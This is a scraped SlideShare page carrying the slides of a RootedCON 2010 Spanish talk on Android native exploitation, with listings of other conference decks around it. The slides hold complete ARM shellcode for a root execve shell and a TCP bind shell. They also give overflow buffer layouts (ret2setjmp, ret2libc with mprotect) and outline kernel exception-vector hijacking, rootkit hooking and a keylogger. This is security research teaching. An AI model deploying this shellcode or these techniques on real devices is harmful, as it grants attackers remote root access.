Rooted2020 virtual pwned-network_-_manel_molinaRooted2020 virtual pwned-network_-_manel_molina
Rooted2020 virtual pwned-network_-_manel_molina
 
Rooted2020 van a-mear_sangre_como_hacer_que_los_malos_lo_paguen_muy_caro_-_an...
Rooted2020 van a-mear_sangre_como_hacer_que_los_malos_lo_paguen_muy_caro_-_an...Rooted2020 van a-mear_sangre_como_hacer_que_los_malos_lo_paguen_muy_caro_-_an...
Rooted2020 van a-mear_sangre_como_hacer_que_los_malos_lo_paguen_muy_caro_-_an...
 
Rooted2020 todo a-siem_-_marta_lopez
Rooted2020 todo a-siem_-_marta_lopezRooted2020 todo a-siem_-_marta_lopez
Rooted2020 todo a-siem_-_marta_lopez
 
Rooted2020 roapt evil-mass_storage_-_tu-ya_aqui_-_david_reguera_-_abel_valero
Rooted2020 roapt evil-mass_storage_-_tu-ya_aqui_-_david_reguera_-_abel_valeroRooted2020 roapt evil-mass_storage_-_tu-ya_aqui_-_david_reguera_-_abel_valero
Rooted2020 roapt evil-mass_storage_-_tu-ya_aqui_-_david_reguera_-_abel_valero
 
Rooted2020 live coding--_jesus_jara
Rooted2020 live coding--_jesus_jaraRooted2020 live coding--_jesus_jara
Rooted2020 live coding--_jesus_jara
 
Rooted2020 legalidad de-la_prueba_tecnologica_indiciaria_cuando_tu_papi_es_un...
Rooted2020 legalidad de-la_prueba_tecnologica_indiciaria_cuando_tu_papi_es_un...Rooted2020 legalidad de-la_prueba_tecnologica_indiciaria_cuando_tu_papi_es_un...
Rooted2020 legalidad de-la_prueba_tecnologica_indiciaria_cuando_tu_papi_es_un...
 
Rooted2020 hackeando el-mundo_exterior_a_traves_de_bluetooth_low-energy_ble_-...
Rooted2020 hackeando el-mundo_exterior_a_traves_de_bluetooth_low-energy_ble_-...Rooted2020 hackeando el-mundo_exterior_a_traves_de_bluetooth_low-energy_ble_-...
Rooted2020 hackeando el-mundo_exterior_a_traves_de_bluetooth_low-energy_ble_-...
 
Rooted2020 evading deep-learning_malware_detectors_-_javier_yuste
Rooted2020 evading deep-learning_malware_detectors_-_javier_yusteRooted2020 evading deep-learning_malware_detectors_-_javier_yuste
Rooted2020 evading deep-learning_malware_detectors_-_javier_yuste
 
Rooted2020 encontrando 0days-en_2020_-_antonio_morales
Rooted2020 encontrando 0days-en_2020_-_antonio_moralesRooted2020 encontrando 0days-en_2020_-_antonio_morales
Rooted2020 encontrando 0days-en_2020_-_antonio_morales
 

Último

Modulo-Mini Cargador.................pdf
Modulo-Mini Cargador.................pdfModulo-Mini Cargador.................pdf
Modulo-Mini Cargador.................pdf
AnnimoUno1
 

Último (11)

EVOLUCION DE LA TECNOLOGIA Y SUS ASPECTOSpptx
EVOLUCION DE LA TECNOLOGIA Y SUS ASPECTOSpptxEVOLUCION DE LA TECNOLOGIA Y SUS ASPECTOSpptx
EVOLUCION DE LA TECNOLOGIA Y SUS ASPECTOSpptx
 
Refrigerador_Inverter_Samsung_Curso_y_Manual_de_Servicio_Español.pdf
Refrigerador_Inverter_Samsung_Curso_y_Manual_de_Servicio_Español.pdfRefrigerador_Inverter_Samsung_Curso_y_Manual_de_Servicio_Español.pdf
Refrigerador_Inverter_Samsung_Curso_y_Manual_de_Servicio_Español.pdf
 
Avances tecnológicos del siglo XXI y ejemplos de estos
Avances tecnológicos del siglo XXI y ejemplos de estosAvances tecnológicos del siglo XXI y ejemplos de estos
Avances tecnológicos del siglo XXI y ejemplos de estos
 
How to use Redis with MuleSoft. A quick start presentation.
How to use Redis with MuleSoft. A quick start presentation.How to use Redis with MuleSoft. A quick start presentation.
How to use Redis with MuleSoft. A quick start presentation.
 
Avances tecnológicos del siglo XXI 10-07 eyvana
Avances tecnológicos del siglo XXI 10-07 eyvanaAvances tecnológicos del siglo XXI 10-07 eyvana
Avances tecnológicos del siglo XXI 10-07 eyvana
 
EL CICLO PRÁCTICO DE UN MOTOR DE CUATRO TIEMPOS.pptx
EL CICLO PRÁCTICO DE UN MOTOR DE CUATRO TIEMPOS.pptxEL CICLO PRÁCTICO DE UN MOTOR DE CUATRO TIEMPOS.pptx
EL CICLO PRÁCTICO DE UN MOTOR DE CUATRO TIEMPOS.pptx
 
Innovaciones tecnologicas en el siglo 21
Innovaciones tecnologicas en el siglo 21Innovaciones tecnologicas en el siglo 21
Innovaciones tecnologicas en el siglo 21
 
pruebas unitarias unitarias en java con JUNIT
pruebas unitarias unitarias en java con JUNITpruebas unitarias unitarias en java con JUNIT
pruebas unitarias unitarias en java con JUNIT
 
Resistencia extrema al cobre por un consorcio bacteriano conformado por Sulfo...
Resistencia extrema al cobre por un consorcio bacteriano conformado por Sulfo...Resistencia extrema al cobre por un consorcio bacteriano conformado por Sulfo...
Resistencia extrema al cobre por un consorcio bacteriano conformado por Sulfo...
 
Modulo-Mini Cargador.................pdf
Modulo-Mini Cargador.................pdfModulo-Mini Cargador.................pdf
Modulo-Mini Cargador.................pdf
 
PROYECTO FINAL. Tutorial para publicar en SlideShare.pptx
PROYECTO FINAL. Tutorial para publicar en SlideShare.pptxPROYECTO FINAL. Tutorial para publicar en SlideShare.pptx
PROYECTO FINAL. Tutorial para publicar en SlideShare.pptx
 

Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]

  • 1. Seguridad y explotación nativa en Android Smashing the droid for fun and profit Congreso de Seguridad ~ Rooted CON’2010 1
  • 2. Agenda • Introducción • Shellcoding • Buffer overflows • Kernel land • Post explotación Congreso de Seguridad ~ Rooted CON’2010 2
  • 3. Smart Phones • Definición difusa: – Terminal móvil – Sistema operativo complejo – Funciones avanzadas • Sistemas operativos: – Symbian, iPhoneOS, Blackberry, Android, PalmOS, Maemo Linux Congreso de Seguridad ~ Rooted CON’2010 3
  • 4. ¿Por qué son interesantes? • Cada vez son más similares a un ordenador • Robo de datos personales • Suplantación de identidades • Conexión permanente 3G • Sistemas con poco tiempo en el mercado • Baja frecuencia de actualización Congreso de Seguridad ~ Rooted CON’2010 4
  • 5. Introducción a Android • OS para smart phones y dispositivos móviles • Basado en Linux para ARM • Android SDK basado en Java – Máquina virtual Dalvik – Soporte JNI para código nativo – Muchas librerías nativas (webkit, rendering, …) Congreso de Seguridad ~ Rooted CON’2010 5
  • 6. Arquitectura de Android Congreso de Seguridad ~ Rooted CON’2010 6
  • 7. Modelo de seguridad • Sandboxing basado en permisos Unix – UID distinto por app – Permisos en el sistema de ficheros • Apps instaladas desde Android Marketplace – Auto firmadas por el autor • ¿ Java = plataforma segura? – Librerías nativas, kernel, etc Congreso de Seguridad ~ Rooted CON’2010 7
  • 8. Agenda • Introducción • Shellcoding • Buffer overflows • Kernel land • Post explotación Congreso de Seguridad ~ Rooted CON’2010 8
  • 9. Introducción a ARM • Copa el mercado de los dispositivos móviles • Relación consumo / prestaciones • Arquitectura licenciable (ARM IP) • Juego instrucciones RISC 32 bits, Bi-endian – Posibilidades de extensión Congreso de Seguridad ~ Rooted CON’2010 9
  • 10. ARM vs Thumb mode • Desde la versión ARM7TDMI • Thumb: versión reducida de la CPU a 16 bits • Mappeado con las instrucciones de 32 bits • Mejora la densidad de código • Menor consumo de memoria • Alineamiento – Modo ARM: 4 bytes – Modo Thumb: 2 bytes Congreso de Seguridad ~ Rooted CON’2010 10
  • 11. Peculiaridades de Thumb • Registros de propósito general de r0 a r7 • Menos instrucciones disponibles • Mnemónicos push/pop • Inmediato más grande posible = 255 • Limitaciones en el uso de registros desplazados • { r13, r14, r15, r16 } = { sp, lr, pc, cpsr } Congreso de Seguridad ~ Rooted CON’2010 11
  • 12. ARM ↔ Thumb • Bit T del CPSR a 1 indica modo Thumb • Branch Exchange (bx addr) – T = <LSB addr> – Compilar usando –mthumb-interwork .globl main main: .CODE 32 add r2,pc,#1 bx r2 .CODE 16 thumb: Congreso de Seguridad ~ Rooted CON’2010 12
  • 13. ARM ABI • Llamadas a funciones con bl – Dirección retorno en lr – Función llamada debe preservarlo • Muchas posibilidades para return – mov pc,lr / ldm sp,{pc}/… • Parámetros en r0,r1,… Congreso de Seguridad ~ Rooted CON’2010 13
  • 14. Syscalls en Linux/ARM • Definidas en el kernel – /usr/src/linux/arch/arm/include/asm/unistd.h • En general coinciden con x86 • Syscalls extra para socket – En lugar de socketcall Congreso de Seguridad ~ Rooted CON’2010 14
  • 15. Llamadas a syscalls • Parámetros en r0, r1, r2, ... • Número de la llamada en r7 • Saltamos al kernel con svc • Valor de retorno en r0 int open(const char *camino, int flags, mode_t modo); r0 r7 r0 r1 r2 Congreso de Seguridad ~ Rooted CON’2010 15
  • 16. Uso de sockets @ -- socket(2,1,0) -- @ parameters eor r5, r5 push {r5} En otras arquitecturas: add r5, r5, #1 push {r5} - Funciones en “net.h” add r5, r5, #1 push {r5} - r0 = función @ sys_call mov r0, #1 - r1 = parámetros mov r1, sp mov r7, #102 - Llamada Socketcall svc 0x00000080 mov r4, r0 Congreso de Seguridad ~ Rooted CON’2010 16
  • 17. Uso de sockets @ -- socket(2,1,0) -- @ parameters eor r5, r5 push {r5} @ -- socket(2,1,0) - add r5, r5, #1 - push {r5} mov r0, #2 add r5, r5, #1 mov r1, #1 push {r5} eor r2, r2 @ sys_call mov r7, #250 mov r0, #1 add r7, #31 @ 281 mov r1, sp svc 0x00000080 mov r7, #102 mov r4, r0 svc 0x00000080 mov r4, r0 Congreso de Seguridad ~ Rooted CON’2010 17
  • 18. Compatibilidad con iPhone OS • También utiliza ARM – El número syscall puede variar – Se debe poner en r12 • Shellcodes multiplataforma! • Número syscalls en: http://theiphonewiki.com/wiki/index.php?title=Kernel_Syscalls Congreso de Seguridad ~ Rooted CON’2010 18
  • 19. Shellcode execve (I) .globl main main: .CODE 32 add r2,pc,#1 bx r2 .CODE 16 thumb: @setuid(0) eor r0,r0 movs r7, #23 svc 0x00000080 @Prepare execve args adr r0, string adr r5, string2 eor r6, r6 str r6, [r5] Congreso de Seguridad ~ Rooted CON’2010 19
  • 20. Shellcode execve (II) push {r6} push {r0} mov r1, sp eor r2, r2, r2 @call execve() movs r7, #11 svc 0x00000080 .align 2 string: .ascii "///system/bin/sh" string2: .ascii "xAAxAAxAAxAA" Congreso de Seguridad ~ Rooted CON’2010 20
  • 21. TCP Bind shellcode (I) @ socket() mov r0, #2 mov r1, #1 eor r2, r2 mov r7, #250 add r7, #31 svc 0x00000080 mov r4, r0 @ preparing sockaddr_in eor r5, r5 push {r5} push {r5} push {r5} mov r5, #7 lsl r5, #8 add r5, #7 Congreso de Seguridad ~ Rooted CON’2010 21
  • 22. TCP Bind shellcode (II) lsl r5, #16 add r5, #2 push {r5} @bind() mov r0, r4 mov r1, sp mov r2, #16 mov r7, #250 add r7, #32 svc 0x00000080 @listen() mov r0, r4 mov r1, #1 mov r7, #250 add r7, #34 svc 0x00000080 Congreso de Seguridad ~ Rooted CON’2010 22
  • 23. TCP Bind shellcode (III) @accept() mov r0, r4 eor r1, r1 eor r2, r2 mov r7, #250 add r7, #35 svc 0x00000080 mov r6,r0 @dup2 stdin mov r0, r6 eor r1, r1 mov r7, #63 svc 0x00000080 Congreso de Seguridad ~ Rooted CON’2010 23
  • 24. TCP Bind shellcode (IV) @dup2 stdout mov r0, r6 mov r1, #1 mov r7, #63 svc 0x00000080 @dup2 stderr mov r0, r6 mov r1, #2 mov r7, #63 svc 0x00000080 @Execve shellcode appended here Congreso de Seguridad ~ Rooted CON’2010 24
  • 25. Módulos para Metasploit • Nuevas shellcodes para Android – execve(/system/bin/sh) – TCP Bind shellcode • Encoder XOR para ARM LE • Scripts de los ejemplos posteriores Congreso de Seguridad ~ Rooted CON’2010 25
  • 26. Agenda • Introducción • Shellcoding • Buffer overflows • Kernel land • Post explotación Congreso de Seguridad ~ Rooted CON’2010 26
  • 27. Mapa de memoria # cat /proc/self/maps 00008000-00019000 r-xp 00000000 1f:00 348 /system/bin/... 00019000-0001a000 rw-p 00011000 1f:00 348 /system/bin/... 0001a000-00020000 rwxp 0001a000 00:00 0 [heap] [...] afe00000-afe39000 r-xp 00000000 1f:00 478 /system/lib/... afe39000-afe3c000 rw-p 00039000 1f:00 478 /system/lib/... afe3c000-afe47000 rw-p afe3c000 00:00 0 b0000000-b0013000 r-xp 00000000 1f:00 332 /system/bin/... b0013000-b0014000 rw-p 00013000 1f:00 332 /system/bin/... b0014000-b001a000 rwxp b0014000 00:00 0 beebe000-beed3000 rwxp befeb000 00:00 0 [stack] <-- ASLR # Congreso de Seguridad ~ Rooted CON’2010 27
  • 28. Mapa de memoria - Implicaciones • Direcciones en la pila no predecibles – Difícil saltar directamente a buffers ahí • Pila y Heap mapeadas como rwx – Ejecución de código posible ☺ • Librerías en direcciones predecibles – Posibilidad de ejecutar su código – Paso de parámetros plantea problemas Congreso de Seguridad ~ Rooted CON’2010 28
  • 29. Buffer overflows - Stack • Programa de ejemplo: – Bucle esperando conexiones – Para cada conexión: • Leer entero de 32 bits X • Leer X bytes en un buffer de tamaño fijo – Compilado con la toolchain de Android • Ver http://source.android.com Congreso de Seguridad ~ Rooted CON’2010 29
  • 30. Buffer overflow - Stack 00008520 <read_msg>: 8520: b5f0 push {r4, r5, r6, r7, lr} 8522: 4d12 ldr r5,[pc, #72] (856c+<.text+0x8c>) 8524: b093 sub sp, #76 8526: a911 add r1, sp, #68 [...] 8568: b013 add sp, #76 856a: bdf0 pop {r4, r5, r6, r7, pc} !! • Controlamos 4 registros generales y el PC Congreso de Seguridad ~ Rooted CON’2010 30
  • 31. Buffer overflow - Stack • Explotación – ret2libc : Paso de registros en parámetros? – jmp/branch sp : No encontrado inicialmente – ret2setjmp • setjmp copia registros en memoria • Podremos elegir dónde y saltar a ellos • Pero toma los parámetros en registros... o no? Congreso de Seguridad ~ Rooted CON’2010 31
  • 32. Desensamblado de setjmp (gdb) disass setjmp Dump of assembler code for function setjmp: 0xafe0dd20 <setjmp+0>: push {r0, lr} 0xafe0dd24 <setjmp+4>: mov r0, #0 ; 0x0 0xafe0dd28 <setjmp+8>: blx 0xafe12094 <sigblock> 0xafe0dd2c <setjmp+12>: mov r1, r0 0xafe0dd30 <setjmp+16>: pop {r0, lr} !! 0xafe0dd34 <setjmp+20>: str r1, [r0, #100] 0xafe0dd38 <setjmp+24>: ldr r1, [pc, #16] ; 0xafe0dd50 <setjmp+48> 0xafe0dd3c <setjmp+28>: str r1, [r0], #4 0xafe0dd40 <setjmp+32>: add r0, r0, #52 ; 0x34 0xafe0dd44 <setjmp+36>: stm r0, {r4-r12, sp, lr} !! 0xafe0dd48 <setjmp+40>: mov r0, #0 ; 0x0 0xafe0dd4c <setjmp+44>: bx lr Congreso de Seguridad ~ Rooted CON’2010 32
  • 33. Buffer overflows - ret2setjmp • La técnica: – Meter stub en registros controlados – Salto a setjmp+0x10 – Retorno a los registros controlados – Repetir si necesitamos más código • Limitaciones – Necesitamos controlar al menos un registro – Necesitamos setjmp en dirección predecible – Necesitamos región rwx para poner stub Congreso de Seguridad ~ Rooted CON’2010 33
  • 34. Buffer overflows – Evil buffer • En nuestro caso controlamos r4-r7 Congreso de Seguridad ~ Rooted CON’2010 34
  • 35. Buffer overflows – Evil buffer • En nuestro caso controlamos r4-r7 <padding> -> Rellena el buffer <b sp><b sp><b sp><b sp> --> r4-r7 <0xafe0dd30> --> setjmp+0x10 <destino><destino+offset_r4> --> r0,lr <shellcode> --> evil shellcode ☺ Congreso de Seguridad ~ Rooted CON’2010 35
  • 36. Buffer overflows - Stack • ¡¡Demo!! Congreso de Seguridad ~ Rooted CON’2010 36
  • 37. Buffer overflows - ret2libc • Reutilizaremos la técnica anterior – Código en memoria con setjmp • Parámetros a registros • Llamadas a libc • Podemos encadenar setjmp’s – Más código controlable – Puede que solo controlemos un registro Congreso de Seguridad ~ Rooted CON’2010 37
  • 38. Buffer overflows - ret2libc • Demo – Usaremos mprotect para hacer pila no accesible • El exploit resulta en un segfault • Si la pila fuera NX, la podríamos hacer RWX <pop {r0,r1,r2,r3}><and r0,r0,sp><blx r3><b sp> <0xafe0dd30><destino><destino+offset_r4> <PAGE_SHIFT><0x01><0x00><mprotect> <shellcode> Congreso de Seguridad ~ Rooted CON’2010 38
  • 39. Buffer overflows - ret2libc • ¡¡Demo!! Congreso de Seguridad ~ Rooted CON’2010 39
  • 40. Buffer overflows - Heap • Bionic libc incorpora DLMalloc 2.8.4 – Listas enlazadas para chunks pequeños – Árboles binarios para chunks medianos – Chunks grandes se reservan con mmap • Seguridad – Safe unlinking – ptr > mmap_least_addr antes de usarlo – Otros… • No conocemos técnica genérica Congreso de Seguridad ~ Rooted CON’2010 40
  • 41. Buffer overflows - Heap • ¡¡Demo!! Congreso de Seguridad ~ Rooted CON’2010 41
  • 42. Agenda • Introducción • Shellcoding • Buffer overflows • Kernel land • Post explotación Congreso de Seguridad ~ Rooted CON’2010 42
  • 43. Kernel – Fallos típicos • NULL ptr dereference – Binario con sección mapeada en NULL • mmap_min_addr protege frente a ello • Ver exploit sock_sendpage() de Zinx • Buffer overflows – Stack: retorno a función en userspace – Slab: rellenar slab + overflow + dereference • Ver paper en Phrack #64 Congreso de Seguridad ~ Rooted CON’2010 43
  • 44. Kernel – Fallos típicos • Write-what-where – Escritura en dirección controlable – Contenidos controlados o no – ¿Qué sobrescribimos? • Explotando write-what-where’s – Tablas del kernel – Tablas específicas de la arquitectura –… Congreso de Seguridad ~ Rooted CON’2010 44
  • 45. ARM - Excepciones • Tabla de vectores de excepción – Instrucciones a ejecutar en caso de excepción Congreso de Seguridad ~ Rooted CON’2010 45
  • 46. EVT en Android • EVT puede estar en 0x0000000 o 0xFFFF000 – Linux usa 0xFFFF0000 (gdb) x/8i 0xFFFF0000 0xffff0000: svc 0x009f0000 0xffff0004: b 0xffff0380 0xffff0008: ldr pc, [pc, #1040]; 0xffff0420 0xffff000c: b 0xffff0300 0xffff0010: b 0xffff0280 0xffff0014: b 0xffff0404 0xffff0018: b 0xffff0200 0xffff001c: b 0xffff0400 Congreso de Seguridad ~ Rooted CON’2010 46
  • 47. EVT en Android • Instrucción branch – Desplazamiento máximo 24 bits – Espacio de usuario demasiado lejos! • Sigamos investigando… – Veamos qué pasa ante instrucciones ilegales Congreso de Seguridad ~ Rooted CON’2010 47
  • 48. EVT en Android 0xffff0380: stmia sp, {r0, lr} 0xffff0384: mrs lr, SPSR 0xffff0388: str lr, [sp, #8] 0xffff038c: mrs r0, CPSR 0xffff0390: eor r0, r0, #8 ; 0x8 0xffff0394: msr SPSR_fsxc, r0 0xffff0398: and lr, lr, #15 ; 0xf 0xffff039c: mov r0, sp 0xffff03a0: ldr lr, [pc, lr, lsl #2] 0xffff03a4: movs pc, lr 0xffff03a8: 0xc0023c20 <__und_usr> 0xffff03ac: 0xffff03b0: 0xffff03b4: 0xc0023970 <__und_invalid> 0xc0023970 <__und_invalid> 0xc0023a60 <__und_svc> ! Congreso de Seguridad ~ Rooted CON’2010 48
  • 49. Explotando write-what-where • Idea – Sobrescribir handler de instrucción ilegal • Apuntar a nuestro propio código – Ejecutar instrucción ilegal • Se ejecuta nuestro código – Dar privilegios y restaurar handler Congreso de Seguridad ~ Rooted CON’2010 49
  • 50. Agenda • Introducción • Shellcoding • Buffer overflows • Kernel land • Post explotación Congreso de Seguridad ~ Rooted CON’2010 50
  • 51. Got root! Now what? • Rootkits – Mantener acceso al sistema – Ocultar presencia del atacante • Rootkits en Linux – Generalmente inyectan LKMs • Junto con app en user-space Congreso de Seguridad ~ Rooted CON’2010 51
  • 52. Syscall hooking • Hooking as usual – sys_call_table hook – Parchear sys_call_handler – Parchear syscall – … • Vectores de excepción – Modificar vector SVC Congreso de Seguridad ~ Rooted CON’2010 52
  • 53. Android keylogger • Teclado virtual – Driver registra handler para IRQ #16 – Lee keycode y lo registra en el kernel • Opciones: – Modificar irq_handlers[] – Modificar código del driver – Modificar vector de excepción Congreso de Seguridad ~ Rooted CON’2010 53
  • 54. Post-explotación ¡Demos! Congreso de Seguridad ~ Rooted CON’2010 54
  • 55. Rootkit más silencioso • ARM permite poner la EVT en 0x0000000 – Un bit en el registro de control (CR) del coprocesador que controla el sistema (SCC) define dónde está • Un rootkit podría duplicarla – Interceptar syscalls interesantes – Redirigir el resto • Cloaker implementa esta idea – Paper en http://srgsec.cs.illinois.edu/cloaker.pdf Congreso de Seguridad ~ Rooted CON’2010 55
  • 56. ¡Gracias por vuestra atención! Javier Moreno Eloi Sanfèlix vierito5@gmail.com eloi@limited-entropy.com http://vierito.es http://limited-entropy.com Gracias a M.A. Mateo y A. Perles, DISCA UPV, por prestarnos el hardware Congreso de Seguridad ~ Rooted CON’2010 56